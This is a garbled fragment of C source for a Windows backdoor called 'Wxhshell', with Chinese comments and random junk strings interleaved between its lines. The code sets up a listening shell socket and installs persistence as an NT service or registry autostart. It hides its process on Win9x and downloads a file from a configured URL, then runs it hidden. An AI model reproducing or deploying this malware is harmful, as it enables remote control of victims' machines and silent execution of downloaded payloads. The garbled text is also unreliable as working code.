hDMp^^$ HMODULE hMod; }>U03aa! char procName[255]; B4ze$# unsigned long cbNeeded; b;l%1x9r 1*jm9])# if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iL1so+di ,[#f}|s_ CloseHandle(hProcess); s%|J(0 nHjwT5Q+Q if(strstr(procName,"services")) return 1; // 以服务启动 gMn)<u > jQ}|]pj+ return 0; // 注册表启动 sTyGi1 } mIodD)?{ ~vFo 0k( // 主模块 a$8?0`( int StartWxhshell(LPSTR lpCmdLine) ,-kZ5&r { i( HhL& SOCKET wsl; ^O
m]B; BOOL val=TRUE; ek!N eu> int port=0; E5Jk+6EcMa struct sockaddr_in door; Y))sk- ?,C,q5
T\ if(wscfg.ws_autoins) Install(); cn:VEF:l Q.\ovk~,a port=atoi(lpCmdLine); xRN$cZC I5?LD=tt if(port<=0) port=wscfg.ws_port; `,[c??h 0in6z WSADATA data; JN)t'm[kyE if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -wRzMT19MG d*HAKXd&:j if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $@;[K\ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iwJgU
b door.sin_family = AF_INET; ^)~M,rW8c door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q-5wI$= door.sin_port = htons(port); bmpB$@ e:
tp7w 4 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,#loVLy closesocket(wsl); .*"IJD9 return 1; U+
=q_ < } rfoCYsX' _Hk`e}} if(listen(wsl,2) == INVALID_SOCKET) { yI<'J^1C[ closesocket(wsl); I|H mbTXa return 1; $h9!"f[|j } "o^zOU Wxhshell(wsl); 5H5Kt9DoW WSACleanup(); ]3'd/v@fT M(f'qFY=K return 0; ps{(UYM=b qc F{Kex" } r_m&Jl@4 V-3]h
ba, // 以NT服务方式启动 ?M2@[w8_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }kDrUnBk { sx\7Z#| DWORD status = 0; ^*OA%wg3=h DWORD specificError = 0xfffffff; [&:oS35O n>UvRn.7kz serviceStatus.dwServiceType = SERVICE_WIN32; 7Wu2gky3 serviceStatus.dwCurrentState = SERVICE_START_PENDING; =@>&kU%$& serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oP6G2@3P/ serviceStatus.dwWin32ExitCode = 0; oL;/Qan serviceStatus.dwServiceSpecificExitCode = 0; }s[/b"%y serviceStatus.dwCheckPoint = 0; ]\U'_G2] serviceStatus.dwWaitHint = 0; ZHJzh\? aXagiz\; hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Wwz{98,K if (hServiceStatusHandle==0) return; (x@"Dp=MZW =[&Jxy>Y status = GetLastError(); I_rVeMw= if (status!=NO_ERROR) Fz% n!d { XEI]T~ serviceStatus.dwCurrentState = SERVICE_STOPPED; yrX]w3kr% serviceStatus.dwCheckPoint = 0; \!3='~2:=o serviceStatus.dwWaitHint = 0; bOdD:=f serviceStatus.dwWin32ExitCode = status; %O${EN serviceStatus.dwServiceSpecificExitCode = specificError; mVLGQlvVK SetServiceStatus(hServiceStatusHandle, &serviceStatus); BJ5#!I%h return; g d -fJ._1 } mN`a]L' MgekLP)& serviceStatus.dwCurrentState = SERVICE_RUNNING; DI\sq8J^ serviceStatus.dwCheckPoint = 0; Fwr,e;Z serviceStatus.dwWaitHint = 0; P$bo8* if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EbQ} w"{ } 5tL6R3 *QX$Mo^E // 处理NT服务事件,比如:启动、停止 8
_J:Yg VOID WINAPI NTServiceHandler(DWORD fdwControl) JY,+eD { 4/4IZfznX switch(fdwControl) I}X8-WFB { ;z68`P- case SERVICE_CONTROL_STOP: =3'wHl serviceStatus.dwWin32ExitCode = 0; _u0dt) $ serviceStatus.dwCurrentState = SERVICE_STOPPED; 7o<RvM serviceStatus.dwCheckPoint = 0; z,tax`O serviceStatus.dwWaitHint = 0; !`gg$9 { a/ZfPl0Ns[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^RyrUb } ,x/j&S9! return; "'Q:%_; case SERVICE_CONTROL_PAUSE: ]x|sTKv2 serviceStatus.dwCurrentState = SERVICE_PAUSED; @."R9s break; /%)J+K) case SERVICE_CONTROL_CONTINUE: ~VKw%WK serviceStatus.dwCurrentState = SERVICE_RUNNING; xM:dFS break; .1@5*xQ5O case SERVICE_CONTROL_INTERROGATE: KR*/ye G!E break; e/6oC~#] }; 3-05y!vbcE SetServiceStatus(hServiceStatusHandle, &serviceStatus); +vP1DXtj( } cmTZ))m epnDvz\ // 标准应用程序主函数 O
tr@jgw int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]WG\+1x9 { <Wd$6 }\W3a_,v) // 获取操作系统版本 &}]Wbk4:
OsIsNt=GetOsVer(); )JPcSy* GetModuleFileName(NULL,ExeFile,MAX_PATH); Wg[`H=)Q t`?FSV // 从命令行安装 zri <'W if(strpbrk(lpCmdLine,"iI")) Install(); S%4K-I 8P .! q // 下载执行文件 \h-[u% if(wscfg.ws_downexe) { ~LVa# if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E-x(5^b" WinExec(wscfg.ws_filenam,SW_HIDE); w3*JVIQC } X7G6y|4;w {XVSHUtw if(!OsIsNt) { eg3{sDv, // 如果时win9x,隐藏进程并且设置为注册表启动 /mb| %U]~ HideProc(); *M="k 1P1 StartWxhshell(lpCmdLine); g%Z;rDfi } +m1edPA[ else O@[q./VV, if(StartFromService()) z|9 ^T@) // 以服务方式启动 Na=q(OKN StartServiceCtrlDispatcher(DispatchTable); ukw'$Yt2 else dL"v*3Fy // 普通方式启动 ()7=(<x{ StartWxhshell(lpCmdLine); NM4 n yS?1JWUC> return 0; u*M*WpY }
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